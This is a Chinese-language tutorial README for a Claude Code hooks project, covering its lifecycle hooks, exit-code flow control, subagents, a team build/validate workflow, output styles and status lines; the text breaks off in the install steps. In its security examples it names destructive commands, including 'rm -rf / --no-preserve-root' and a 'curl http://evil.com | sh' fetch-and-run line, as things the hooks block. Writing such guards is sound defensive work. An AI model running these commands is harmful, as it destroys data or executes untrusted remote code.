Claude 代码钩子精通指南

Claude 代码钩子 - 快速掌握如何使用 Claude 代码钩子，对 Claude 代码的行为进行确定性（或非确定性）控制。此外，还将了解 Claude 代码子代理、强大的 元代理 以及通过代理编排实现的 团队验证系统。

目录

• 先决条件
• 钩子生命周期与负载
• 演示内容
• UV 单文件脚本架构
• 关键文件
• 展示的功能
• 钩子错误码与流程控制
• UserPromptSubmit 钩子深度解析
• Claude 代码子代理
• 团队验证系统
• 输出样式集合
• 自定义状态行

先决条件

本教程需要：

• Astral UV - 快速的 Python 包管理器和依赖解决工具
• Claude 代码 - Anthropic 的 Claude AI 命令行工具

可选设置：

可选：

• ElevenLabs - 文本转语音服务提供商（支持 MCP 服务器集成）
• ElevenLabs MCP 服务器 - ElevenLabs 的 MCP 服务器
• Firecrawl MCP 服务器 - 用于网页抓取和爬虫的 MCP 服务器（我最喜欢的爬虫工具）
• OpenAI - 语言模型服务提供商 + 文本转语音服务提供商
• Anthropic - 语言模型服务提供商
• Ollama - 本地语言模型服务提供商

钩子生命周期与负载

此演示捕获了所有 13 个 Claude 代码钩子生命周期事件及其 JSON 负载：

钩子生命周期概览

flowchart TB
    subgraph SESSION["🟢 会话生命周期"]
        direction TB
        SETUP[["🔧 设置<br/>(初始化/维护)"]]
        START[["▶️ 会话开始<br/>(启动/恢复/清除)"]]
        END[["⏹️ 会话结束<br/>(退出/sigint/错误)"]]
    end

    subgraph MAIN["🔄 主对话循环"]
        direction TB
        PROMPT[["📝 用户提示提交"]]
        CLAUDE["Claude 处理"]

        subgraph TOOLS["🛠️ 工具执行"]
            direction TB
            PRE[["🔒 工具使用前"]]
            PERM[["❓ 权限请求"]]
            EXEC["工具执行"]
            POST[["✅ 工具使用后"]]
            FAIL[["❌ 工具使用失败"]]
        end

        subgraph SUBAGENT["🤖 子代理生命周期"]
            direction TB
            SSTART[["🚀 子代理开始"]]
            SWORK["子代理工作"]
            SSTOP[["🏁 子代理结束"]]
        end

        NOTIFY[["🔔 通知<br/>(异步)"]]
        STOP[["🛑 停止"]]
    end

    subgraph COMPACT["🗜️ 维护"]
        PRECOMPACT[["📦 压缩前"]]
    end

    SETUP --> START
    START --> PROMPT
    PROMPT --> CLAUDE
    CLAUDE --> PRE
    PRE --> PERM
    PERM --> EXEC
    EXEC --> POST
    EXEC -.-> FAIL
    CLAUDE -.-> SSTART
    SSTART --> SWORK
    SWORK --> SSTOP
    POST --> CLAUDE
    CLAUDE --> STOP
    CLAUDE -.-> NOTIFY
    STOP --> PROMPT
    STOP -.-> END
    PROMPT -.-> PRECOMPACT
    PRECOMPACT -.-> PROMPT

1. UserPromptSubmit 钩子

触发时机： 用户提交提示时立即触发（在 Claude 处理之前）
负载： prompt 文本、session_id、时间戳
增强功能： 提示验证、日志记录、上下文注入、安全过滤

2. PreToolUse 钩子

触发时机： 任何工具执行之前
负载： tool_name、tool_input 参数
增强功能： 阻止危险命令（如 rm -rf、访问 .env 文件）

3. PostToolUse 钩子

触发时机： 工具成功完成执行后
负载： tool_name、tool_input、包含结果的 tool_response

4. Notification 钩子

触发时机： 当 Claude 代码发送通知时（等待输入等）
负载： message 内容
增强功能： TTS 提醒 - “您的代理需要您的输入”（30% 的几率会包含用户姓名）

5. Stop 钩子

触发时机： 当 Claude 代码完成响应时
负载： stop_hook_active 布尔标志
增强功能： 由 AI 生成的完成消息，并通过 TTS 播放（LLM 优先级：OpenAI > Anthropic > Ollama > 随机）

6. SubagentStop 钩子

触发时机： 当 Claude 代码子代理（任务工具）完成响应时
负载： stop_hook_active 布尔标志
增强功能： TTS 播放 - “子代理已完成”

7. PreCompact 钩子

触发时机： 在 Claude 代码执行压缩操作之前
负载： trigger（“手动”或“自动”）、custom_instructions（针对手动操作）、会话信息
增强功能： 转录备份、手动压缩时提供详细反馈

8. SessionStart 钩子

触发时机： 当 Claude 代码开始新会话或恢复现有会话时
负载： source（“启动”、“恢复”或“清除”）、会话信息
增强功能： 加载开发环境上下文（git 状态、最近的问题、上下文文件）

9. SessionEnd 钩子

触发时机： 当 Claude 代码会话结束时（退出、sigint 或错误）
负载： session_id、transcript_path、cwd、permission_mode、reason
增强功能： 会话日志记录，并可选择执行清理任务（删除临时文件、过期日志）

10. PermissionRequest 钩子

触发时机： 当用户看到权限对话框时
负载： tool_name、tool_input、tool_use_id、会话信息
增强功能： 权限审计，自动允许只读操作（Read、Glob、Grep、安全的 Bash 命令）

11. PostToolUseFailure 钩子

触发时机： 当工具执行失败时
负载： tool_name、tool_input、tool_use_id、error 对象
增强功能： 结构化错误日志记录，包含时间戳和完整上下文

12. SubagentStart 钩子

触发时机： 当子代理（任务工具）启动时
负载： agent_id、agent_type、会话信息
增强功能： 子代理启动日志记录，并可选择 TTS 通知

13. Setup 钩子

触发时机： 当 Claude 进入一个仓库（初始化）或定期（维护）时
负载： trigger（“init”或“maintenance”）、会话信息
增强功能： 通过 CLAUDE_ENV_FILE 实现环境持久化，通过 additionalContext 注入上下文

这说明了什么

• 完整的钩子生命周期覆盖：所有13个钩子事件均已实现并记录日志（其中11个已通过自动化测试验证）。
• 提示级别控制：UserPromptSubmit会在Claude看到提示之前对其进行验证和增强。
• 智能TTS系统：AI生成的音频反馈，优先使用ElevenLabs，其次是OpenAI，最后是pyttsx3。
• 安全增强：在多个层级上阻止危险命令和敏感文件访问。
• 个性化体验：使用环境变量中的工程师姓名。
• 自动日志记录：所有钩子事件均以JSON格式记录到logs/目录中。
• 聊天记录提取：PostToolUse钩子会将JSONL格式的聊天记录转换为可读的JSON格式。
• 团队式验证：采用构建者/验证者代理模式，并结合代码质量钩子。

警告：chat.json文件仅包含最近一次Claude Code对话。它不会保留之前会话的对话内容——每次新对话都会完全覆盖旧对话。这与其他日志不同，其他日志会在每次Claude Code会话结束后追加内容。

UV单文件脚本架构

该项目利用**UV单文件脚本**，将钩子逻辑与主代码库清晰地分离。所有钩子都位于.claude/hooks/目录下，作为独立的Python脚本，内置依赖声明。

优点：

• 隔离性：钩子逻辑与项目依赖项相互独立。
• 可移植性：每个钩子脚本都内嵌声明了自己的依赖项。
• 无需管理虚拟环境：UV会自动处理依赖关系。
• 快速执行：UV的依赖解析速度极快。
• 自包含性：每个钩子都可以独立理解和修改。

这种方法确保您的钩子在不同环境中都能正常运行，而不会污染主项目的依赖树。

关键文件

• .claude/settings.json：包含权限的钩子配置。
• .claude/hooks/：针对每种钩子类型的Python脚本，使用UV管理依赖。
  • user_prompt_submit.py：提示验证、日志记录及上下文注入。
  • pre_tool_use.py：安全拦截与日志记录。
  • post_tool_use.py：日志记录与聊天记录转换。
  • post_tool_use_failure.py：带有结构化细节的错误日志。
  • notification.py：带可选TTS的通知日志（--notify标志）。
  • stop.py：带有TTS的AI生成完成消息。
  • subagent_stop.py：简单的“子代理已完成”TTS。
  • subagent_start.py：带可选TTS的子代理启动日志。
  • pre_compact.py：聊天记录备份与压缩的日志记录。
  • session_start.py：开发环境加载与会话日志记录。
  • session_end.py：会话清理与日志记录。
  • permission_request.py：权限审计与自动允许。
  • setup.py：仓库初始化与维护。
  • validators/：代码质量验证钩子。
    • ruff_validator.py：通过Ruff进行Python代码检查（PostToolUse）。
    • ty_validator.py：Python类型检查（PostToolUse）。
  • utils/：智能TTS与LLM工具脚本。
    • tts/：文本转语音服务提供商（ElevenLabs、OpenAI、pyttsx3）。
      • tts_queue.py：基于队列的TTS管理，防止音频重叠。
    • llm/：语言模型集成（OpenAI、Anthropic、Ollama）。
      • task_summarizer.py：LLM驱动的任务完成摘要。
• .claude/status_lines/：实时终端状态显示。
  • status_line.py：基础MVP版本，显示git信息。
  • status_line_v2.py：带颜色编码的智能提示。
  • status_line_v3.py：包含历史记录的代理会话。
  • status_line_v4.py：扩展元数据支持。
  • status_line_v5.py：成本跟踪与行数变化。
  • status_line_v6.py：上下文窗口使用情况条形图。
  • status_line_v7.py：会话持续时间计时器。
  • status_line_v8.py：令牌使用情况与缓存统计。
  • status_line_v9.py：极简的Powerline风格。
• .claude/output-styles/：响应格式化配置。
  • genui.md：生成带有嵌入式样式的美观HTML。
  • table-based.md：以Markdown表格组织信息。
  • yaml-structured.md：YAML配置格式。
  • bullet-points.md：干净的嵌套列表。
  • ultra-concise.md：用词精炼，速度最快。
  • html-structured.md：语义HTML5。
  • markdown-focused.md：丰富的Markdown功能。
  • tts-summary.md：通过TTS提供音频反馈。
• .claude/commands/：自定义斜杠命令。
  • prime.md：项目分析与理解。
  • plan_w_team.md：基于团队的构建/验证工作流。
  • crypto_research.md：加密货币研究工作流。
  • cook.md：高级任务执行。
  • update_status_line.md：动态状态更新。
• .claude/agents/：子代理配置。
  • crypto/：加密货币分析代理。
  • team/：基于团队的工作流代理。
    • builder.md：实施代理（拥有所有工具）。
    • validator.md：只读验证代理。
  • hello-world-agent.md：简单的问候示例。
  • llm-ai-agents-and-eng-research.md：AI研究专家。
  • meta-agent.md：创建其他代理的代理。
  • work-completion-summary.md：音频摘要生成器。
• logs/：所有钩子执行的JSON日志。
  • user_prompt_submit.json：用户提示提交及验证日志。
  • pre_tool_use.json：工具使用事件及安全拦截日志。
  • post_tool_use.json：工具完成事件日志。
  • post_tool_use_failure.json：工具失败事件及错误详情日志。
  • notification.json：通知事件日志。
  • stop.json：停止事件及完成消息日志。
  • subagent_stop.json：子代理完成事件日志。
  • subagent_start.json：子代理启动事件日志。
  • pre_compact.json：预压缩事件及触发类型日志。
  • session_start.json：会话开始事件及来源类型日志。
  • session_end.json：会话结束事件及原因日志。
  • permission_request.json：权限请求审计日志。
  • setup.json：设置事件及触发类型日志。
  • chat.json：可读的对话记录（由--chat标志生成）。
• ai_docs/：文档资源。
  • cc_hooks_docs.md：Anthropic提供的完整钩子文档。
  • claude_code_status_lines_docs.md：状态行输入模式与配置文档。
  • user_prompt_submit_hook.md：全面的UserPromptSubmit钩子文档。
  • uv-single-file-scripts.md：UV脚本架构文档。
  • anthropic_custom_slash_commands.md：斜杠命令文档。
  • anthropic_docs_subagents.md：子代理文档。
• ruff.toml：用于Python代码质量检查的Ruff配置文件。
• ty.toml：用于Python类型验证的类型检查配置文件。

钩子提供了对Claude Code行为的确定性控制，而不依赖于LLM的决策。

展示的功能

• 提示验证和安全过滤
• 上下文注入以增强AI响应
• 命令日志记录与审计
• 自动转录转换
• 基于权限的工具访问控制
• 挂钩执行中的错误处理

运行任何Claude Code命令，即可通过logs/文件查看挂钩的实际效果。

挂钩错误代码与流程控制

Claude Code挂钩提供了强大的机制来控制执行流程，并通过退出码和结构化JSON输出提供反馈。

退出码行为

挂钩通过退出码传达状态和控制流程：

退出码	行为	描述
0	成功	挂钩成功执行。在转录模式下（Ctrl-R），stdout会显示给用户
2	阻断型错误	严重：stderr会自动反馈给Claude。请参见下方的挂钩特定行为
其他	非阻断型错误	stderr会显示给用户，执行将正常继续

挂钩特定的流程控制

每种挂钩类型都有不同的能力来阻断和控制Claude Code的行为：

UserPromptSubmit挂钩 - 可阻断提示并添加上下文

• 主要控制点：在Claude处理用户提示之前拦截提示
• 退出码2行为：完全阻断提示，向用户显示错误信息
• 使用场景：提示验证、安全过滤、上下文注入、审计日志记录
• 示例：我们的user_prompt_submit.py会记录所有提示，并对其进行验证

PreToolUse挂钩 - 可阻断工具执行

• 主要控制点：在工具调用执行前拦截
• 退出码2行为：完全阻断工具调用，向Claude显示错误信息
• 使用场景：安全验证、参数检查、防止危险命令
• 示例：我们的pre_tool_use.py会用退出码2阻止rm -rf命令。

# 阻止危险命令
if is_dangerous_rm_command(command):
    print("已阻止：检测到危险的rm命令", file=sys.stderr)
    sys.exit(2)  # 阻断工具调用，向Claude显示错误

PostToolUse挂钩 - 无法阻断（工具已执行）

• 主要控制点：在工具完成执行后提供反馈
• 退出码2行为：向Claude显示错误（工具已经运行，无法撤销）
• 使用场景：结果验证、格式化、清理、日志记录
• 局限性：由于是在工具完成后触发，因此无法阻止工具执行。

Notification挂钩 - 无法阻断

• 主要控制点：处理Claude Code的通知
• 退出码2行为：不适用——仅向用户显示stderr，无阻断功能
• 使用场景：自定义通知、日志记录、用户提醒
• 局限性：无法控制Claude Code的行为，纯粹是信息性的。

Stop挂钩 - 可阻断停止操作

• 主要控制点：当Claude Code尝试结束响应时拦截
• 退出码2行为：阻断停止操作，向Claude显示错误（强制继续）
• 使用场景：确保任务完成、验证最终状态；可用此方法强制继续
• 注意事项：若控制不当，可能导致无限循环。

SubagentStop挂钩 - 可阻断子代理停止

• 主要控制点：当Claude Code的子代理试图结束时拦截
• 退出码2行为：阻断子代理停止，向子代理显示错误
• 使用场景：确保子代理任务正确完成
• 示例：我们的subagent_stop.py会记录事件并宣布完成。

PreCompact挂钩 - 无法阻断

• 主要控制点：在压缩操作之前触发
• 退出码2行为：不适用——仅向用户显示stderr，无阻断功能
• 使用场景：转录备份、上下文保存、压缩前的日志记录
• 示例：我们的pre_compact.py会在压缩前创建转录备份。

SessionStart挂钩 - 无法阻断

• 主要控制点：在新会话开始或恢复时触发
• 退出码2行为：不适用——仅向用户显示stderr，无阻断功能
• 使用场景：加载开发环境、会话初始化、环境设置
• 示例：我们的session_start.py会加载git状态、最近的问题以及上下文文件。

高级JSON输出控制

除了简单的退出码外，挂钩还可以返回结构化JSON以实现更复杂的控制：

常见JSON字段（所有挂钩类型）

{
  "continue": true,           // Claude是否应继续（默认：true）
  "stopReason": "string",     // 当continue=false时显示给用户的提示信息
  "suppressOutput": true      // 隐藏stdout以免显示在转录中（默认：false）
}

PreToolUse决策控制

{
  "decision": "approve" | "block" | undefined,
  "reason": "决策原因"
}

• "approve"：绕过权限系统，reason会显示给用户
• "block"：阻止工具执行，reason会显示给Claude
• undefined：按正常权限流程处理，忽略reason

PostToolUse决策控制

{
  "decision": "block" | undefined,
  "reason": "决策原因"
}

• "block"：会自动提示Claude显示reason
• undefined：不做任何处理，忽略reason

Stop决策控制

{
  "decision": "block" | undefined,
  "reason": "必须在阻止Claude停止时提供"
}

• "block"：阻止Claude停止，reason会告诉Claude如何继续
• undefined：允许正常停止，忽略reason

流程控制优先级

当同时使用多种控制机制时，其优先级如下：

1. "continue": false - 优先于所有其他控制
2. "decision": "block" - 挂钩特定的阻断行为
3. 退出码2 - 通过stderr进行简单阻断
4. 其他退出码 - 非阻断型错误

安全实施示例

1. 命令验证（PreToolUse）

# 阻止危险模式
dangerous_patterns = [
    r'rm\s+.*-[rf]',           # rm -rf变体
    r'sudo\s+rm',              # sudo rm命令
    r'chmod\s+777',            # 危险权限
    r'>\s*/etc/',              # 写入系统目录
]

for pattern in dangerous_patterns:
    if re.search(pattern, command, re.IGNORECASE):
        print(f"已阻止：检测到{pattern}", file=sys.stderr)
        sys.exit(2)

2. 结果验证（PostToolUse）

# 验证文件操作
if tool_name == "Write" and not tool_response.get("success"):
    output = {
        "decision": "block",
        "reason": "文件写入操作失败，请检查权限后重试"
    }
    print(json.dumps(output))
    sys.exit(0)

3. 完成验证（停止钩子）

# 确保关键任务已完成
if not all_tests_passed():
    output = {
        "decision": "block",
        "reason": "测试未通过。请先修复失败的测试再完成。"
    }
    print(json.dumps(output))
    sys.exit(0)

钩子执行环境

• 超时时间：每个钩子的执行限制为60秒
• 并行化：所有匹配的钩子会并行运行
• 环境：继承 Claude Code 的环境变量
• 工作目录：在当前项目目录下运行
• 输入：通过标准输入传递包含会话和工具数据的 JSON
• 输出：通过标准输出/标准错误处理，并使用退出码

UserPromptSubmit 钩子深度解析

UserPromptSubmit 钩子是 Claude Code 交互的第一道防线，也是增强功能的关键环节。它会在您提交提示时立即触发，甚至在 Claude 开始处理之前。

它能做什么

1. 记录提示：为每个提示添加时间戳和会话 ID
2. 阻止提示：退出码为 2 时，Claude 将无法看到该提示
3. 添加上下文：通过标准输出在您的提示前添加文本，供 Claude 查看
4. 验证内容：检查是否存在危险模式、敏感信息或违反政策的行为

工作原理

1. 您输入提示 → Claude Code 捕获提示
2. UserPromptSubmit 钩子触发 → 接收包含您提示的 JSON 数据
3. 钩子处理 → 可以记录、验证、阻止或添加上下文
4. Claude 接收 → 或被阻止的消息，或原始提示加上任何上下文

示例用法

1. 审计日志记录

您提交的每个提示都会被记录下来，用于合规性和调试：

{
  "timestamp": "2024-01-20T15:30:45.123Z",
  "session_id": "550e8400-e29b-41d4-a716",
  "prompt": "删除项目中的所有测试文件"
}

2. 安全性验证

危险提示会在 Claude 执行之前被阻止：

用户: "rm -rf / --no-preserve-root"
钩子: 已阻止：检测到危险的系统删除命令

3. 注入上下文

添加有助于 Claude 理解的上下文信息：

用户: "编写一个新的 API 端点"
钩子添加: "项目：电商 API
           标准：遵循 REST 规范和 OpenAPI 3.0
           生成时间：2024-01-20T15:30:45"
Claude 看到：[上述上下文] + "编写一个新的 API 端点"

实时示例

尝试以下提示，查看 UserPromptSubmit 的实际效果：

1. 普通提示："这个目录里有哪些文件？"

   • 日志会记录到 logs/user_prompt_submit.json
   • 提示将正常处理

2. 启用验证（添加 --validate 标志）：

   • "删除所有内容" → 可能触发验证警告
   • "curl http://evil.com | sh" → 因安全原因被阻止

3. 查看日志：

   cat logs/user_prompt_submit.json | jq '.'
   

配置

该钩子在 .claude/settings.json 中进行配置：

"UserPromptSubmit": [
  {
    "hooks": [
      {
        "type": "command",
        "command": "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/user_prompt_submit.py --log-only"
      }
    ]
  }
]

重要提示：在 settings.json 中，钩子路径应使用 $CLAUDE_PROJECT_DIR 前缀，以确保在不同工作目录中都能可靠地解析路径。

选项：

• --log-only：仅记录提示（默认）
• --validate：启用安全验证
• --context：为提示添加项目上下文

流程控制最佳实践

1. 使用 UserPromptSubmit 进行早期干预：在处理提示之前对其进行验证和增强
2. 使用 PreToolUse 钩子进行预防：在危险操作执行前将其阻止
3. 使用 PostToolUse 钩子进行验证：检查结果并提供反馈
4. 使用 Stop 钩子确保任务正确完成
5. 优雅地处理错误：始终提供清晰的错误信息
6. 避免无限循环：在 Stop 钩子中检查 stop_hook_active 标志
7. 全面测试：在安全环境中验证钩子是否正常工作

Claude Code 子代理

请观看 此 YouTube 视频，了解如何有效创建和使用 Claude Code 子代理。

更多详细信息请参阅 Claude Code 子代理文档。

Claude Code 支持专门的子代理，这些子代理可以使用自定义系统提示、工具和独立的上下文窗口来处理特定任务。子代理是 AI 助手，您的主要 Claude Code 代理可以将任务委托给它们。

理解子代理：系统提示，而非用户提示

关键概念：代理文件（.claude/agents/*.md）中的内容是系统提示，用于配置子代理的行为。它们不是用户提示。这是创建代理时最常见的误解。

信息流：

您（用户）→ 主代理 → 子代理 → 主代理 → 您（用户）

1. 您向 Claude Code（主代理）提出请求
2. 主代理分析您的请求，并将其委派给合适的子代理
3. 子代理根据其系统提示指令执行任务
4. 子代理将结果报告回主代理
5. 主代理综合结果并呈现给您

要点：

• 子代理绝不会直接与您交流
• 子代理从零开始，没有对话历史
• 子代理响应的是主代理的提示，而不是您的提示
• description 字段告诉主代理何时使用子代理

代理存储与组织

此仓库展示了多种代理配置：

项目代理（.claude/agents/）：

.claude/agents/
├── crypto/                    # 加密货币分析代理
│   ├── crypto-coin-analyzer-haiku.md
│   ├── crypto-coin-analyzer-opus.md
│   ├── crypto-coin-analyzer-sonnet.md
│   ├── crypto-investment-plays-*.md
│   ├── crypto-market-agent-*.md
│   ├── crypto-movers-haiku.md
│   └── macro-crypto-correlation-scanner-*.md
├── hello-world-agent.md       # 简单的问候代理
├── llm-ai-agents-and-eng-research.md  # AI研究专家
├── meta-agent.md              # 创建其他代理的代理
└── work-completion-summary.md # 音频摘要生成器

存储层级：

• 项目代理：.claude/agents/（优先级较高，特定于项目）
• 用户代理：~/.claude/agents/（优先级较低，可在所有项目中使用）
• 格式：带有 YAML 前言的 Markdown 文件

代理文件结构：

---
name: 代理名称
description: 何时使用该代理（对自动委派至关重要）
tools: 工具1, 工具2, 工具3  # 可选 - 如果省略则继承所有工具
color: 青色  # 终端中的视觉标识
model: opus # 可选 - haiku | sonnet | opus - 默认为 sonnet
---

# 目的
你是一个[角色定义]。

## 指令
1. 分步指令
2. 代理应执行的操作
3. 如何报告结果

## 报告/响应格式
指定代理应如何将结果反馈给主代理。

子代理能够实现：

• 任务专业化 - 代码审查员、调试器、测试运行者
• 上下文保留 - 每个代理独立运作
• 工具限制 - 仅授予必要的权限
• 自动委派 - Claude 主动使用合适的代理

关键工程洞察

需要避免的两个关键错误：

1. 误解系统提示 - 你在代理文件中编写的实际上是系统提示，而非用户提示。这会改变你组织指令的方式以及代理可用的信息。

2. 忽视信息流 - 子代理是响应你的主代理，而不是直接回应你。主代理根据你的原始请求提示子代理，而子代理则将结果汇报给主代理，最终由主代理反馈给你。

最佳实践：

• 使用 description 字段告知主代理何时以及如何提示子代理
• 在描述中加入“主动使用”等短语或触发词（如“如果他们说 TTS”）
• 记住子代理每次都是从零开始，没有上下文——务必明确说明它们需要知道的内容
• 构建代理时遵循问题 → 解决方案 → 技术的方法

复杂工作流与代理链式调用

Claude Code 能够智能地将多个子代理串联起来以完成复杂任务：

例如：

• “首先用 crypto-market-agent 分析市场，再利用 crypto-investment-plays 寻找机会”
• “先用调试器代理修复错误，再让代码审查员检查修改内容”
• “用 meta-agent 生成一个新的代理，然后在特定任务上进行测试”

这种链式调用允许你构建复杂的流程，同时保持清晰的关注点分离。

元代理

元代理（.claude/agents/meta-agent.md）是一种特殊的子代理，它可以根据描述生成新的子代理。它是“建造代理的代理”，对于提升代理开发速度至关重要。

元代理的重要性：

• 快速创建代理 - 可在几分钟内构建数十个专业代理，而无需耗费数小时
• 结构一致 - 确保所有代理遵循最佳实践和正确格式
• 实时文档更新 - 自动提取最新的 Claude Code 文档，以保持功能的最新状态
• 智能工具选择 - 自动确定最小化的工具需求

使用元代理：

# 简单描述你的需求
“构建一个能运行测试并修复故障的新子代理”

# Claude Code 会自动委派给元代理
# 它将创建一个格式正确的代理文件

元代理遵循的原则是：“思考如何将其规模化。打造那个能制造东西的东西。” 这种叠加效应可使你的工程能力呈指数级增长。

团队验证系统

观看演示视频：在 https://youtu.be/4_2j5wgt_ds 中查看代理团队及 /plan_w_team 工作流的实际应用

此仓库包含一个强大的构建/验证工作流模式，利用 Claude Code 任务系统来协调专业的代理团队。

/plan_w_team 元提示

/plan_w_team 命令（.claude/commands/plan_w_team.md）并非普通的提示——它具有三个强大功能：

1. 自我验证

该提示在其前言中嵌入了验证自身输出的钩子：

hooks:
  stop:
    - command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_new_file.py specs/*.md"
    - command: "uv run $CLAUDE_PROJECT_DIR/.claude/hooks/validators/validate_file_contains.py"

规划代理完成后，这些验证器会确保：

• 规格文件被创建在正确的目录中
• 文件包含必要部分（团队协调、分步任务等）

若验证失败，代理会收到反馈并继续工作，直到输出符合标准。

2. 代理协调

该提示利用 Claude Code 的任务系统来构建和协调代理团队：

任务工具	目的
TaskCreate	创建新任务，指定负责人、描述和依赖关系
TaskUpdate	更新状态、添加阻碍因素、通报完成情况
TaskList	查看所有任务及其当前状态
TaskGet	获取完整任务详情

工作原理：

1. 主代理创建一个包含具体负责人的任务列表
2. 任务可以并行执行，也可以设置依赖性阻碍
3. 子代理完成工作后向主代理反馈
4. 主代理根据工作的完成情况实时作出反应
5. 当依赖的任务完成后，阻碍会自动解除

这种方式支持更长时间的工作流程，因为任务系统负责协调——无需使用 bash 的 sleep 循环。

3. 模板化

/plan_w_team 是一种模板元提示——即按照特定且经过验证的格式生成提示的提示：

## 计划格式（嵌入在元提示中）

### {{PLAN_NAME}}
**任务：** {{TASK_DESCRIPTION}}
**目标：** {{OBJECTIVE}}

### 团队协调
{{TEAM_MEMBERS}}

### 分步任务
{{TASKS}}

生成的计划完全遵循你的工程模式。这正是代理式工程与“凭感觉编码”的区别——因为你已经模板化了格式，所以你能准确预测代理会生成的结果。

团队代理

代理	文件	工具	自我验证	目的
构建者	team/builder.md	所有工具	Ruff + Ty 检查 .py 文件	执行实现任务，构建项目
验证者	team/validator.md	只读（无写入/编辑权限）	无	验证构建者的成果是否符合验收标准

这种双代理协作模式通过增加计算资源来提升对工作正确完成的信任度。

代码质量验证器

PostToolUse 验证器会自动强制执行代码质量检查：

验证器	文件	触发条件	行动
Ruff	ruff_validator.py	对 .py 文件进行写入或编辑	阻止包含 lint 错误的代码
Ty	ty_validator.py	对 .py 文件进行写入或编辑	阻止包含类型错误的代码

工作流示例

# 1. 使用团队编排创建计划
/plan_w_team

# 用户提示：“更新钩子文档并添加缺失的状态行”
# 编排提示：“为每个钩子创建一组代理，包括一名构建者和一名验证者”

# 2. 生成的计划包含：
#    - 团队成员（session_end_builder、session_end_validator 等）
#    - 带有依赖关系的分步任务
#    - 验证命令

# 3. 执行计划
/build

# 4. 观察代理并行工作：
#    - 构建者实现功能
#    - 验证者验证完成情况
#    - 任务系统协调所有流程

配置

• ruff.toml - Ruff 静态分析规则
• ty.toml - 类型检查器设置
• .claude/agents/team/ - 团队代理定义

输出样式集

观看演示： 在 https://youtu.be/mJhsWrEv-Go 查看这些功能的实际效果

该项目包含一套全面的自定义输出样式（.claude/output-styles/），能够改变 Claude Code 的响应呈现方式。完整的输出样式工作原理请参阅官方文档。

样式	描述	最适合场景
genui ⭐	生成带有内嵌样式的精美 HTML	交互式可视化输出，即时浏览器预览
表格化	将所有信息组织成 Markdown 表格	比较、结构化数据、状态报告
YAML 结构化	将响应格式化为 YAML 配置	设置、层级数据、API 响应
项目符号列表	清晰的嵌套列表，使用破折号和数字	行动项、文档、任务跟踪
超简洁	极简文字，极致速度	经验丰富的开发者、快速原型开发
HTML 结构化	带有数据属性的语义化 HTML5	Web 文档、丰富格式
Markdown 导向	充分利用 Markdown 的所有特性	复杂文档、混合内容
TTS 总结	通过 ElevenLabs TTS 宣布任务完成	音频反馈、辅助功能

使用方法： 运行 /output-style [名称] 来激活任意样式（例如 /output-style table-based）

位置：

• 项目样式：.claude/output-styles/*.md（本仓库）
• 用户样式：~/.claude/output-styles/*.md（全局）

输出样式会修改 Claude 的系统提示词，从而改变响应格式，而不会影响其核心功能。每种样式都是一个 Markdown 文件，文件头部使用 YAML 定义了名称、描述和格式化指令。

自定义状态行

观看演示： 在 https://youtu.be/mJhsWrEv-Go 查看这些功能的实际效果

本项目引入了增强版的 Claude Code 状态行，可在对话过程中实时显示上下文信息。状态行会在 Claude Code 会话期间显示在终端底部，提供动态信息。完整详情请参阅官方文档。

可用状态行

位置： .claude/status_lines/

版本	文件	描述	功能
v1	status_line.py	基础 MVP	Git 分支、当前目录、模型信息
v2	status_line_v2.py	智能提示	最新提示（250 字），按任务类型着色
v3	status_line_v3.py	代理会话	代理名称、模型、最近三条提示
v4	status_line_v4.py	扩展元数据	代理名称、模型、最新提示、自定义键值对
v5	status_line_v5.py	成本追踪	模型、成本（美元）、行数变化（+/-）、会话时长
v6	status_line_v6.py	上下文窗口	可视化使用条形图、百分比、剩余 token 数量
v7	status_line_v7.py	持续时间计时器	会话时间、开始时间、可选结束时间
v8	status_line_v8.py	Token/缓存统计	输入/输出 token 数量、缓存创建/读取统计数据
v9	status_line_v9.py	Powerline 极简	使用 Powerline 分隔符的风格化段落，显示 Git 分支及已使用比例

会话管理

状态行利用存储在 .claude/data/sessions/<session_id>.json 中的会话数据：

{
  "session_id": "unique-session-id",
  "prompts": ["第一条提示", "第二条提示", ...],
  "agent_name": "Phoenix",  // 自动生成的唯一名称
  "extras": {              // v4：自定义元数据（可选）
    "project": "myapp",
    "status": "debugging",
    "environment": "prod"
  }
}

代理命名：

• 使用 LLM 服务自动生成唯一的代理名称
• 优先级：Ollama（本地）→ Anthropic → OpenAI → 备用名称
• 名称均为单字、易于记忆的标识符（例如：Phoenix、Sage、Nova）
• 通过 user_prompt_submit.py 中的 --name-agent 标志启用

自定义元数据（v4）：

• 使用 /update_status_line 命令添加自定义键值对
• 在状态行末尾以青色方括号显示
• 在 Claude Code 的交互中持久保存
• 示例：/update_status_line <session_id> project myapp

配置

在 .claude/settings.json 中设置您偏好的状态行：

{
  "statusLine": {
    "type": "command",
    "command": "uv run $CLAUDE_PROJECT_DIR/.claude/status_lines/status_line_v3.py"
  }
}

状态行功能：

• 实时更新 - 在消息变化时刷新（300 毫秒限流）
• 颜色编码 - 不同任务类型的视觉指示
• 智能截断 - 巧妙处理长提示
• 会话持久性 - 在多次交互中保持上下文

任务类型指示器（v2/v3）：

• 🔍 紫色 - 分析/搜索任务
• 💡 绿色 - 创作/实现任务
• 🔧 黄色 - 修复/调试任务
• 🗑️ 红色 - 删除任务
• ❓ 蓝色 - 问题
• 💬 默认 - 一般对话

主导式代理编码

为软件工程的未来做好准备

学习战术型代理编码模式，请访问 Tactical Agentic Coding

关注 IndyDevDan YouTube 频道，提升您的代理编码优势。

Claude Code Hooks Mastery 快速上手指南

本指南帮助开发者快速掌握如何使用 Claude Code Hooks 对 Claude Code 的行为进行确定性控制，并了解子代理（Sub-Agents）、元代理（Meta-Agent）及基于团队的验证系统。

环境准备

在开始之前，请确保您的系统满足以下要求：

核心依赖

• Astral UV：高性能 Python 包安装器与解析器（本项目架构核心）。
• Claude Code：Anthropic 官方 CLI 工具。

可选增强依赖（按需配置）

如需体验语音反馈（TTS）或高级网络功能，可配置以下服务：

• ElevenLabs 或 OpenAI：用于文本转语音（TTS）及大模型支持。
• Ollama：本地大模型运行方案。
• Firecrawl MCP Server：网页抓取与爬虫服务。
• ElevenLabs MCP Server：ElevenLabs 的 MCP 集成。

提示：国内用户若访问官方源较慢，建议配置国内镜像源安装 uv 或使用代理加速连接 Anthropic 服务。

安装步骤

本项目采用 UV 单文件脚本架构，无需创建复杂的虚拟环境，钩子逻辑独立且自包含。

1. 安装 UV

如果您尚未安装 UV，请使用以下命令（支持 Linux/macOS/Windows）：

